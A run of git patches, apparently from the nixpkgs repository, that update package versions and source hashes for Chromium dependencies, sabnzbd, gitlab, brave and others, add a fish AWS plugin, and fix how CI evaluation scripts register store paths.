-    "version": "140.0.7339.80",
+    "version": "140.0.7339.127",
     "chromedriver": {
-      "version": "140.0.7339.81",
-      "hash_darwin": "sha256-T5VUbwBMWhZLMNp2KYzG6CxApgVXAWphxpG5Uexrz3s=",
-      "hash_darwin_aarch64": "sha256-44c01JbXgl55VpQDy9Ke+p9yj3FJ5MwTdYgDcBI20Ms="
+      "version": "140.0.7339.133",
+      "hash_darwin": "sha256-Xf2f4AyowRkG7FTd8p3l3CMF3YCpjyprMD0pM+yPOhA=",
+      "hash_darwin_aarch64": "sha256-HgANL/mEXhIndbmzB1oevem0T9HkLko/HNOi5Y9EzKc="
     },
     "deps": {
       "depot_tools": {
@@ -21,8 +21,8 @@
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "670b6f192f4668d2ac2c06bd77ec3e4eeda7d648",
-        "hash": "sha256-tAiE11g/zymsOOjb64ZIA0GCGDV+6X5qlXUiU9vED/c=",
+        "rev": "9412745860d8c3dfed9cf38f5daa943b163f8c69",
+        "hash": "sha256-rAyS5AhWHL9+6N4+2PFYKPJjzErj8LfIm5ptcsTTV8E=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -92,8 +92,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "cbc4153da8d5796b0fbb3cf288e97bee19436191",
-        "hash": "sha256-lexJRf3EZexLgSuk8ziA+OUW+jTYlkXUPKHU/E6aUcY="
+        "rev": "a8c8a6febe630c6239a5e207530e9fac651ae373",
+        "hash": "sha256-GxWTdzSf7/9WIqrECdAEkibXve/ZpKpxJcNS+KnfNc0="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -252,8 +252,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "ab96665ae2cfcc054e0243461cfcb56bb016f71a",
-        "hash": "sha256-8G9OCH5xapLf83bXrKwygCrzwF8C9H2NfnIrDbL+uCc="
+        "rev": "5dbb6f71a9bd613c0403242c7c021652fbf155fd",
+        "hash": "sha256-tA+6iKBfJVrlT+1UH55vqa5JCONweZeD/zWfNHHD+Kw="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -762,8 +762,8 @@
       },
       "src/third_party/webrtc": {
         "url": "https://webrtc.googlesource.com/src.git",
-        "rev": "847fe7905954f3ae883de2936415ff567aa9039b",
-        "hash": "sha256-kcK1kJdPCkXbEFuS+b6wKUBaKLXmkAEwVKp4/YWDv8s="
+        "rev": "36ea4535a500ac137dbf1f577ce40dc1aaa774ef",
+        "hash": "sha256-/3V/V0IrhOKcMAgs/C1qraqq+1pfopW8HKvGRmqLE0Q="
       },
       "src/third_party/wuffs/src": {
         "url": "https://skia.googlesource.com/external/github.com/google/wuffs-mirror-release-c.git",

From a1ab67810ed5701328be58ad6c3303c52ca7b200 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 5 Sep 2025 21:29:12 +0000
Subject: [PATCH 4432/4511] sabnzbd: 4.5.2 -> 4.5.3

(cherry picked from commit 7c2a5f45e5b12793780943ce21e8820d3d746e52)
---
 pkgs/by-name/sa/sabnzbd/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/sa/sabnzbd/package.nix b/pkgs/by-name/sa/sabnzbd/package.nix
index b3d9fe15a05e..8a1f9720cd3f 100644
--- a/pkgs/by-name/sa/sabnzbd/package.nix
+++ b/pkgs/by-name/sa/sabnzbd/package.nix
@@ -15,8 +15,8 @@
 }:
 
 let
-  sabctoolsVersion = "8.2.5";
-  sabctoolsHash = "sha256-ZEC813/JpGPEFL+nXKFAXFfUrrhECCIqONe27LwS00g=";
+  sabctoolsVersion = "8.2.6";
+  sabctoolsHash = "sha256-olZSIjfP2E1tkCG8WzEZfrBJuDEp3PZyFFE5LJODEZE=";
 
   pythonEnv = python3.withPackages (
     ps: with ps; [
@@ -72,14 +72,14 @@ let
   ];
 in
 stdenv.mkDerivation rec {
-  version = "4.5.2";
+  version = "4.5.3";
   pname = "sabnzbd";
 
   src = fetchFromGitHub {
     owner = "sabnzbd";
     repo = "sabnzbd";
     rev = version;
-    hash = "sha256-8Q/6H9DfiVkonsIvlv7Y4yDHrvpE9dB/5KxUff14qkA=";
+    hash = "sha256-RFvWk+K/5gXMSO4jPOxkl7f+tnMvz+0u4NWPTUEv4dg=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 5572df1ad724ac90e37609547b07002aef8c4201 Mon Sep 17 00:00:00 2001
From: Heinz Deinhart <heinz@nix.at>
Date: Tue, 9 Sep 2025 12:46:39 +0200
Subject: [PATCH 4433/4511] ddnet 19.3 -> 19.4

https://ddnet.org/downloads/#19.4
https://github.com/ddnet/ddnet/compare/19.3...19.4
(cherry picked from commit 4810477cf2be4652e412b7eaa26251b7ec10f86b)
---
 pkgs/by-name/dd/ddnet/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/dd/ddnet/package.nix b/pkgs/by-name/dd/ddnet/package.nix
index befd8986f69b..ea100c1b5341 100644
--- a/pkgs/by-name/dd/ddnet/package.nix
+++ b/pkgs/by-name/dd/ddnet/package.nix
@@ -32,13 +32,13 @@
 
 stdenv.mkDerivation rec {
   pname = "ddnet";
-  version = "19.3";
+  version = "19.4";
 
   src = fetchFromGitHub {
     owner = "ddnet";
     repo = "ddnet";
     tag = version;
-    hash = "sha256-8mCkzZPdLFGIlOkMiNDOxiQeEHa+k0BX9PMIPbjmW5k=";
+    hash = "sha256-x/QHTjtFX2j3CA9YAg7c09WTRnW0Y+1keu52RMLSSoA=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {

From cb5d9537372793a2b0a28325a06d4a34c4fb6a9d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Mon, 1 Sep 2025 23:08:00 +0000
Subject: [PATCH 4434/4511] pnpm_10: 10.15.0 -> 10.15.1

(cherry picked from commit 5ec39cb50aace3538e45480e38f0c8fd849c9180)
---
 pkgs/development/tools/pnpm/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tools/pnpm/default.nix b/pkgs/development/tools/pnpm/default.nix
index abe35197b783..8000474af74f 100644
--- a/pkgs/development/tools/pnpm/default.nix
+++ b/pkgs/development/tools/pnpm/default.nix
@@ -16,8 +16,8 @@ let
       hash = "sha256-z4anrXZEBjldQoam0J1zBxFyCsxtk+nc6ax6xNxKKKc=";
     };
     "10" = {
-      version = "10.15.0";
-      hash = "sha256-hMGeeI19fuJI5Ka3FS+Ou6D0/nOApfRDyhfXbAMAUtI=";
+      version = "10.15.1";
+      hash = "sha256-jFOvAq4+wfsK51N3+NTWIXwtfL5vA8FjUMq/dJPebv8=";
     };
   };
 

From 7a5977277e620a28ec937cb4515a7e580327d92c Mon Sep 17 00:00:00 2001
From: Gus <58223632+thegu5@users.noreply.github.com>
Date: Tue, 9 Sep 2025 13:16:27 -0400
Subject: [PATCH 4435/4511] fishPlugins.bobthefish: 0-unstable-2023-06-16 ->
 0-unstable-2024-09-24

(cherry picked from commit a5236a918f92ea7a06676c7631a69c81b9ca8fab)
---
 pkgs/shells/fish/plugins/bobthefish.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/shells/fish/plugins/bobthefish.nix b/pkgs/shells/fish/plugins/bobthefish.nix
index b2c723b275e9..c5bf4ce50a34 100644
--- a/pkgs/shells/fish/plugins/bobthefish.nix
+++ b/pkgs/shells/fish/plugins/bobthefish.nix
@@ -5,13 +5,13 @@
 }:
 buildFishPlugin {
   pname = "bobthefish";
-  version = "0-unstable-2023-06-16";
+  version = "0-unstable-2024-09-24";
 
   src = fetchFromGitHub {
     owner = "oh-my-fish";
     repo = "theme-bobthefish";
-    rev = "c2c47dc964a257131b3df2a127c2631b4760f3ec";
-    sha256 = "sha256-LB4g+EA3C7OxTuHfcxfgl8IVBe5NufFc+5z9VcS0Bt0=";
+    rev = "e3b4d4eafc23516e35f162686f08a42edf844e40";
+    sha256 = "sha256-cXOYvdn74H4rkMWSC7G6bT4wa9d3/3vRnKed2ixRnuA=";
   };
 
   meta = with lib; {

From 5fdfa23c346f6cb871d4dc151b2e25cc3cc773e1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9o=20Bori?= <theo1.bori@epitech.eu>
Date: Sun, 7 Sep 2025 23:23:56 +0200
Subject: [PATCH 4436/4511] fishPlugins.aws: init at 0-unstable-2023-08-03

(cherry picked from commit 154ae2fcd8c9fdf05496d0cf70a83487cee89135)
---
 pkgs/shells/fish/plugins/aws.nix     | 23 +++++++++++++++++++++++
 pkgs/shells/fish/plugins/default.nix |  2 ++
 2 files changed, 25 insertions(+)
 create mode 100644 pkgs/shells/fish/plugins/aws.nix

diff --git a/pkgs/shells/fish/plugins/aws.nix b/pkgs/shells/fish/plugins/aws.nix
new file mode 100644
index 000000000000..e67791474c16
--- /dev/null
+++ b/pkgs/shells/fish/plugins/aws.nix
@@ -0,0 +1,23 @@
+{
+  lib,
+  buildFishPlugin,
+  fetchFromGitHub,
+}:
+buildFishPlugin {
+  pname = "aws";
+  version = "0-unstable-2023-08-03";
+
+  src = fetchFromGitHub {
+    owner = "oh-my-fish";
+    repo = "plugin-aws";
+    rev = "e53a1de3f826916cb83f6ebd34a7356af8f754d1";
+    hash = "sha256-l17v/aJ4PkjYM8kJDA0zUo87UTsfFqq+Prei/Qq0DRA=";
+  };
+
+  meta = {
+    description = "Completions and integrations with the AWS CLI";
+    homepage = "https://github.com/oh-my-fish/plugin-aws";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ theobori ];
+  };
+}
diff --git a/pkgs/shells/fish/plugins/default.nix b/pkgs/shells/fish/plugins/default.nix
index 6036ddb40aa5..595bec8db84b 100644
--- a/pkgs/shells/fish/plugins/default.nix
+++ b/pkgs/shells/fish/plugins/default.nix
@@ -12,6 +12,8 @@ lib.makeScope newScope (
 
     autopair = callPackage ./autopair.nix { };
 
+    aws = callPackage ./aws.nix { };
+
     bang-bang = callPackage ./bang-bang.nix { };
 
     bobthefish = callPackage ./bobthefish.nix { };

From 29c6f4bd673a8123cf66e5c909c4d61682ad726b Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Wed, 10 Sep 2025 09:43:13 +0200
Subject: [PATCH 4437/4511] gitlab: 18.3.1 -> 18.3.2

https://about.gitlab.com/releases/2025/09/10/patch-release-gitlab-18-3-2-released/
(cherry picked from commit 26d7789e88de45aa5c8de7dd9b739df1c6d8f984)
---
 pkgs/by-name/gi/gitaly/package.nix                 |  4 ++--
 pkgs/by-name/gi/gitlab-pages/package.nix           |  4 ++--
 pkgs/by-name/gi/gitlab-shell/package.nix           |  6 +++---
 pkgs/by-name/gi/gitlab/data.json                   | 14 +++++++-------
 .../by-name/gi/gitlab/gitlab-workhorse/default.nix |  2 +-
 pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock        |  2 +-
 pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix          |  4 ++--
 7 files changed, 18 insertions(+), 18 deletions(-)

diff --git a/pkgs/by-name/gi/gitaly/package.nix b/pkgs/by-name/gi/gitaly/package.nix
index 7d9d48e5500d..4461581ea85d 100644
--- a/pkgs/by-name/gi/gitaly/package.nix
+++ b/pkgs/by-name/gi/gitaly/package.nix
@@ -7,7 +7,7 @@
 }:
 
 let
-  version = "18.3.1";
+  version = "18.3.2";
   package_version = "v${lib.versions.major version}";
   gitaly_package = "gitlab.com/gitlab-org/gitaly/${package_version}";
 
@@ -21,7 +21,7 @@ let
       owner = "gitlab-org";
       repo = "gitaly";
       rev = "v${version}";
-      hash = "sha256-qZ/0SGkDj98CqqX6XTbbZEkhnTF/Sjzd7p2muBuP+xE=";
+      hash = "sha256-R/35xYOCq/dlwLQ/in6u+DLifxsGpqBx58flX+FrVCo=";
     };
 
     vendorHash = "sha256-JFGzGwYi4owq0oVLucm7UGuq8PE4FH9Gp8HyBRoE6cs=";
diff --git a/pkgs/by-name/gi/gitlab-pages/package.nix b/pkgs/by-name/gi/gitlab-pages/package.nix
index d210804b6d28..343ac705d316 100644
--- a/pkgs/by-name/gi/gitlab-pages/package.nix
+++ b/pkgs/by-name/gi/gitlab-pages/package.nix
@@ -6,14 +6,14 @@
 
 buildGoModule rec {
   pname = "gitlab-pages";
-  version = "18.3.1";
+  version = "18.3.2";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-pages";
     rev = "v${version}";
-    hash = "sha256-phK8lhk6XHypdUrNOdpdhwo4uIrN+VapkxUujEffZtk=";
+    hash = "sha256-UrO7RIMr6+u8zfbw/AkUOOydt8Yozbu1ypZ5BNF3as0=";
   };
 
   vendorHash = "sha256-WCdpccNeVCEvo158uSyDlsGxneU72zKiV7J7JPhtPBw=";
diff --git a/pkgs/by-name/gi/gitlab-shell/package.nix b/pkgs/by-name/gi/gitlab-shell/package.nix
index dcdb62eb5abe..e93dcc6819c8 100644
--- a/pkgs/by-name/gi/gitlab-shell/package.nix
+++ b/pkgs/by-name/gi/gitlab-shell/package.nix
@@ -8,14 +8,14 @@
 
 buildGoModule rec {
   pname = "gitlab-shell";
-  version = "14.44.0";
+  version = "14.45.2";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-shell";
     rev = "v${version}";
-    hash = "sha256-y3CTfYN2QCWm2n534Bb8uS0Bzn4BsBuMtxAyuU3f+oI=";
+    hash = "sha256-FxtqTRCa1sYSeTR+V2UKEsb480llU6cHWVwNiNFtUmE=";
   };
 
   buildInputs = [
@@ -27,7 +27,7 @@ buildGoModule rec {
     ./remove-hardcoded-locations.patch
   ];
 
-  vendorHash = "sha256-flLt2LdcSDIuoUr4mwfv6LOV9GPewf+o0rb8kyBsgSk=";
+  vendorHash = "sha256-Q3U0uuO+w+0GpDc7zEoiwUYsCIpXG+LOP822KNWR9Ww=";
 
   subPackages = [
     "cmd/gitlab-shell"
diff --git a/pkgs/by-name/gi/gitlab/data.json b/pkgs/by-name/gi/gitlab/data.json
index 3a31842619d5..88a735eda0dd 100644
--- a/pkgs/by-name/gi/gitlab/data.json
+++ b/pkgs/by-name/gi/gitlab/data.json
@@ -1,15 +1,15 @@
 {
-  "version": "18.3.1",
-  "repo_hash": "1csg5q3f0fp145905idqkhsshs8rdbmfgc0nx2ihvxkdmzvd0p3d",
+  "version": "18.3.2",
+  "repo_hash": "0n234gk7w75n4vmfdgwjksbksfcnj69f1wczydcylinaxv2jm50n",
   "yarn_hash": "0g1iafhfdgshy7d6p27qy042j8xyf6gj4rws9wrzdh51fmv4p3bj",
   "owner": "gitlab-org",
   "repo": "gitlab",
-  "rev": "v18.3.1-ee",
+  "rev": "v18.3.2-ee",
   "passthru": {
-    "GITALY_SERVER_VERSION": "18.3.1",
-    "GITLAB_PAGES_VERSION": "18.3.1",
-    "GITLAB_SHELL_VERSION": "14.44.0",
+    "GITALY_SERVER_VERSION": "18.3.2",
+    "GITLAB_PAGES_VERSION": "18.3.2",
+    "GITLAB_SHELL_VERSION": "14.45.2",
     "GITLAB_ELASTICSEARCH_INDEXER_VERSION": "5.7.0",
-    "GITLAB_WORKHORSE_VERSION": "18.3.1"
+    "GITLAB_WORKHORSE_VERSION": "18.3.2"
   }
 }
diff --git a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
index b85b15500e42..f2481a076b1c 100644
--- a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
+++ b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
@@ -10,7 +10,7 @@ in
 buildGoModule rec {
   pname = "gitlab-workhorse";
 
-  version = "18.3.1";
+  version = "18.3.2";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
diff --git a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
index ca23e23c5256..fc358bf41bd3 100644
--- a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
+++ b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
@@ -1737,7 +1737,7 @@ GEM
     ruby-magic (0.6.0)
       mini_portile2 (~> 2.8)
     ruby-progressbar (1.11.0)
-    ruby-saml (1.18.0)
+    ruby-saml (1.18.1)
       nokogiri (>= 1.13.10)
       rexml
     ruby-statistics (4.1.0)
diff --git a/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix b/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix
index ecfa8262a084..b8fa83f8f511 100644
--- a/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix
+++ b/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix
@@ -8164,10 +8164,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0vgsvdaglz1spx9gxrr6xh7qqhi4qd8jd06h2ihwxmazj9ajld6y";
+      sha256 = "01wi1csw4kjmlxmd1igx5hj2wrwkslay1xamg4cv8l7imr27l3hv";
       type = "gem";
     };
-    version = "1.18.0";
+    version = "1.18.1";
   };
   ruby-statistics = {
     groups = [

From 6c105942cad57e0a4500b0195b478b3d9dfe8418 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 10 Sep 2025 13:46:25 +0200
Subject: [PATCH 4438/4511] ci/eval: fix local comparison with baseline

Due to how we pass in existing store paths via CLI arguments for the
diff and combine scripts, Nix didn't register a dependency on the store
paths properly. This meant that some of the derivations that were built,
didn't have the right store paths made available in the sandbox -
leading to all kinds of "not found" errors.

We worked around this in CI by resolving the symlinks to the nix store
beforehand. We tried to work around this locally by storing the nix
store path in BASELINE, but this didn't fully work. By explicitly
registering these store paths as dependencies, this should work across
the board - without any magic required by the caller.

(cherry picked from commit 45a765a28251a18f9e8bc695063c9ed6f28bd0b3)
---
 .github/workflows/eval.yml  |  6 +++---
 ci/eval/README.md           |  4 ++--
 ci/eval/compare/default.nix |  8 +++++---
 ci/eval/diff.nix            | 11 +++++++----
 4 files changed, 17 insertions(+), 12 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 930426a933c9..eaf1ac35bb6e 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -153,8 +153,8 @@ jobs:
           MATRIX_SYSTEM: ${{ matrix.system }}
         run: |
           nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/untrusted-pinned -A eval.diff \
-            --arg beforeDir "$(readlink ./target)" \
-            --arg afterDir "$(readlink ./merged)" \
+            --arg beforeDir ./target \
+            --arg afterDir ./merged \
             --argstr evalSystem "$MATRIX_SYSTEM" \
             --out-link diff
 
@@ -207,7 +207,7 @@ jobs:
 
           # Use the target branch to get accurate maintainer info
           nix-build nixpkgs/trusted/ci --arg nixpkgs ./nixpkgs/trusted-pinned -A eval.compare \
-            --arg combinedDir "$(realpath ./combined)" \
+            --arg combinedDir ./combined \
             --arg touchedFilesJson ./touched-files.json \
             --argstr githubAuthorId "$AUTHOR_ID" \
             --out-link comparison
diff --git a/ci/eval/README.md b/ci/eval/README.md
index d29ff94eb4a3..1cbb400552c7 100644
--- a/ci/eval/README.md
+++ b/ci/eval/README.md
@@ -33,13 +33,13 @@ Note that 16GB memory is the recommended minimum, while with less than 8GB memor
 To compare two commits locally, first run the following on the baseline commit:
 
 ```
-BASELINE=$(nix-build ci -A eval.baseline --no-out-link)
+nix-build ci -A eval.baseline --out-link baseline
 ```
 
 Then, on the commit with your changes:
 
 ```
-nix-build ci -A eval.full --arg baseline $BASELINE
+nix-build ci -A eval.full --arg baseline ./baseline
 ```
 
 Keep in mind to otherwise pass the same set of arguments for both commands (`evalSystems`, `quickTest`, `chunkSize`).
diff --git a/ci/eval/compare/default.nix b/ci/eval/compare/default.nix
index f5c1b1b1dab0..293877036e2f 100644
--- a/ci/eval/compare/default.nix
+++ b/ci/eval/compare/default.nix
@@ -13,6 +13,8 @@
   byName ? false,
 }:
 let
+  combined = builtins.storePath combinedDir;
+
   /*
     Derivation that computes which packages are affected (added, changed or removed) between two revisions of nixpkgs.
     Note: "platforms" are "x86_64-linux", "aarch64-darwin", ...
@@ -75,7 +77,7 @@ let
   # Attrs
   # - keys: "added", "changed", "removed" and "rebuilds"
   # - values: lists of `packagePlatformPath`s
-  diffAttrs = builtins.fromJSON (builtins.readFile "${combinedDir}/combined-diff.json");
+  diffAttrs = builtins.fromJSON (builtins.readFile "${combined}/combined-diff.json");
 
   changedPackagePlatformAttrs = convertToPackagePlatformAttrs diffAttrs.changed;
   rebuildsPackagePlatformAttrs = convertToPackagePlatformAttrs diffAttrs.rebuilds;
@@ -139,8 +141,8 @@ runCommand "compare"
     maintainers = builtins.toJSON maintainers;
     passAsFile = [ "maintainers" ];
     env = {
-      BEFORE_DIR = "${combinedDir}/before";
-      AFTER_DIR = "${combinedDir}/after";
+      BEFORE_DIR = "${combined}/before";
+      AFTER_DIR = "${combined}/after";
     };
   }
   ''
diff --git a/ci/eval/diff.nix b/ci/eval/diff.nix
index 785b0d784308..d22090601d30 100644
--- a/ci/eval/diff.nix
+++ b/ci/eval/diff.nix
@@ -11,6 +11,9 @@
 }:
 
 let
+  before = builtins.storePath beforeDir;
+  after = builtins.storePath afterDir;
+
   /*
     Computes the key difference between two attrs
 
@@ -64,15 +67,15 @@ let
     in
     builtins.fromJSON data;
 
-  beforeAttrs = getAttrs beforeDir;
-  afterAttrs = getAttrs afterDir;
+  beforeAttrs = getAttrs before;
+  afterAttrs = getAttrs after;
   diffAttrs = diff beforeAttrs afterAttrs;
   diffJson = writeText "diff.json" (builtins.toJSON diffAttrs);
 in
 runCommand "diff" { } ''
   mkdir -p $out/${evalSystem}
 
-  cp -r ${beforeDir} $out/before
-  cp -r ${afterDir} $out/after
+  cp -r ${before} $out/before
+  cp -r ${after} $out/after
   cp ${diffJson} $out/${evalSystem}/diff.json
 ''

From 240c979e17dc443961e5f8898045911976133dac Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Wed, 10 Sep 2025 17:30:50 +0000
Subject: [PATCH 4439/4511] envoy-bin: 1.34.6 -> 1.34.7

https://github.com/envoyproxy/envoy/releases/tag/v1.34.7
---
 pkgs/by-name/en/envoy-bin/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/en/envoy-bin/package.nix b/pkgs/by-name/en/envoy-bin/package.nix
index 5c9881b7f6ba..3b14182d852f 100644
--- a/pkgs/by-name/en/envoy-bin/package.nix
+++ b/pkgs/by-name/en/envoy-bin/package.nix
@@ -8,7 +8,7 @@
   versionCheckHook,
 }:
 let
-  version = "1.34.6";
+  version = "1.34.7";
   inherit (stdenv.hostPlatform) system;
   throwSystem = throw "envoy-bin is not available for ${system}.";
 
@@ -21,8 +21,8 @@ let
 
   hash =
     {
-      aarch64-linux = "sha256-X9Kkqe1uA45qB/vM/g6kBIKFJL+8nNEUqqMr9yKrE60=";
-      x86_64-linux = "sha256-XeM+Ve8WxQCiHoS3y7qj4WrBSdT1ESVUbUQIy+ctIG8=";
+      aarch64-linux = "sha256-98z5pbXHE9coOiCLCOl7oHcWiMhYrYKi+38HzlyT4Fo=";
+      x86_64-linux = "sha256-T4X7Cm57UH5Kx3YT+TPTt/kLcHKqZDImQuiMmvu0q0s=";
     }
     .${system} or throwSystem;
 in

From eddbbb387b0aa84bdff063a0a87e0a8ee6b138e2 Mon Sep 17 00:00:00 2001
From: Paul Meyer <katexochen0@gmail.com>
Date: Thu, 4 Sep 2025 16:21:36 +0200
Subject: [PATCH 4440/4511] envoy-bin: add katexochen as maintainer

Signed-off-by: Paul Meyer <katexochen0@gmail.com>
(cherry picked from commit 0476bcbb8d12e1263f3a9d294eeb3810a22b5138)
---
 pkgs/by-name/en/envoy-bin/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/en/envoy-bin/package.nix b/pkgs/by-name/en/envoy-bin/package.nix
index 3b14182d852f..2df899d1ff08 100644
--- a/pkgs/by-name/en/envoy-bin/package.nix
+++ b/pkgs/by-name/en/envoy-bin/package.nix
@@ -67,6 +67,7 @@ stdenv.mkDerivation {
     sourceProvenance = [ lib.sourceTypes.binaryNativeCode ];
     maintainers = with lib.maintainers; [
       adamcstephens
+      katexochen
     ];
     mainProgram = "envoy";
     platforms = [

From cd524a1429fe6b65d9823a00e8cb7a1abce41a4f Mon Sep 17 00:00:00 2001
From: "Peter H. Hoeg" <peter@hoeg.com>
Date: Sun, 15 Jun 2025 21:41:08 +0200
Subject: [PATCH 4441/4511] fbv: 1.0b -> 1.0c

(cherry picked from commit da06e88307b993febde8155e9f90f444a6bfb3a0)
---
 pkgs/by-name/fb/fbv/package.nix | 37 ++++++++++++---------------------
 1 file changed, 13 insertions(+), 24 deletions(-)

diff --git a/pkgs/by-name/fb/fbv/package.nix b/pkgs/by-name/fb/fbv/package.nix
index 16b813a2c1de..d1e51bc32807 100644
--- a/pkgs/by-name/fb/fbv/package.nix
+++ b/pkgs/by-name/fb/fbv/package.nix
@@ -1,39 +1,28 @@
 {
   lib,
   stdenv,
-  fetchurl,
-  fetchpatch,
+  fetchFromGitHub,
   getopt,
   libjpeg,
   libpng12,
-  giflib,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "fbv";
-  version = "1.0b";
+  version = "1.0c";
 
-  src = fetchurl {
-    url = "http://s-tech.elsat.net.pl/fbv/fbv-${version}.tar.gz";
-    sha256 = "0g5b550vk11l639y8p5sx1v1i6ihgqk0x1hd0ri1bc2yzpdbjmcv";
+  src = fetchFromGitHub {
+    owner = "jstkdng";
+    repo = "fbv";
+    tag = finalAttrs.version;
+    hash = "sha256-4tAIFklKsx2uI+FQjq9vdolYm6d6YWugioG6k2ZUMrs=";
   };
 
-  patches = [
-    (fetchpatch {
-      url = "https://raw.githubusercontent.com/void-linux/void-packages/4a5bfe522ea5afd8203e804dc6a642d0871cd6dd/srcpkgs/fbv/patches/giflib-5.1.patch";
-      sha256 = "00q1zcn92yvvyij68bnq0m1sr3a411w914f4nyp6mpz0j5xc6dc7";
-    })
-  ];
-
-  patchFlags = [ "-p0" ];
-
   buildInputs = [
     getopt
     libjpeg
     libpng12
-    giflib
   ];
-  makeFlags = [ "LDFLAGS=-lgif" ];
 
   enableParallelBuilding = true;
 
@@ -41,11 +30,11 @@ stdenv.mkDerivation rec {
     mkdir -p $out/{bin,man/man1}
   '';
 
-  meta = with lib; {
+  meta = {
     description = "View pictures on a linux framebuffer device";
-    homepage = "http://s-tech.elsat.net.pl/fbv/";
-    license = licenses.gpl2Only;
-    maintainers = with maintainers; [ peterhoeg ];
+    homepage = "https://github.com/jstkdng/fbv";
+    license = lib.licenses.gpl2Only;
+    maintainers = with lib.maintainers; [ peterhoeg ];
     mainProgram = "fbv";
   };
-}
+})

From 0fa99ffdb6d91ae1f35f736e91b18cf947d319ab Mon Sep 17 00:00:00 2001
From: Matteo Pacini <m+github@matteopacini.me>
Date: Thu, 11 Sep 2025 00:30:34 +0100
Subject: [PATCH 4442/4511] brave: 1.81.137 -> 1.82.166

(cherry picked from commit 9dc171d26cfb9720242abcfe4011cd610e910ebb)
---
 pkgs/by-name/br/brave/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/br/brave/package.nix b/pkgs/by-name/br/brave/package.nix
index 3dbc66c6285e..c7e7e1ab0a3c 100644
--- a/pkgs/by-name/br/brave/package.nix
+++ b/pkgs/by-name/br/brave/package.nix
@@ -3,24 +3,24 @@
 
 let
   pname = "brave";
-  version = "1.81.137";
+  version = "1.82.166";
 
   allArchives = {
     aarch64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_arm64.deb";
-      hash = "sha256-zbnE54nPc7BeoLn6KVVoNTUNpU8Jq7YreIJ2hkFLRm4=";
+      hash = "sha256-7ZQ9fCDrqlrTUXSCB2m9CIOibiH9pTbB+QlIqbv7XHQ=";
     };
     x86_64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_amd64.deb";
-      hash = "sha256-v4sZwRMc54oolkoaH6QH2AIY8Ad8yCYGK3Cf6CBDqPo=";
+      hash = "sha256-+S1/0W7z4eaF8dJ6aJonlyNW2oE7/eEI1nHy8+JZLwM=";
     };
     aarch64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-arm64.zip";
-      hash = "sha256-kPKJVk4Kt2s8fpwlChZiLhnjW6W7fq7SsolEZUx83/c=";
+      hash = "sha256-QZikEkGo4grM4t7Xb6qFFH408Pnxtlha8Fz79fo1m64=";
     };
     x86_64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-x64.zip";
-      hash = "sha256-GaQ9Tgw5sHJOMdMYYS8Wz7RJn1baKwHGXMCcW0DDDsA=";
+      hash = "sha256-gL0eJkfFKQkuEECiCYOpsH6Nl7TmpnZoKF/jDfJOb8E=";
     };
   };
 

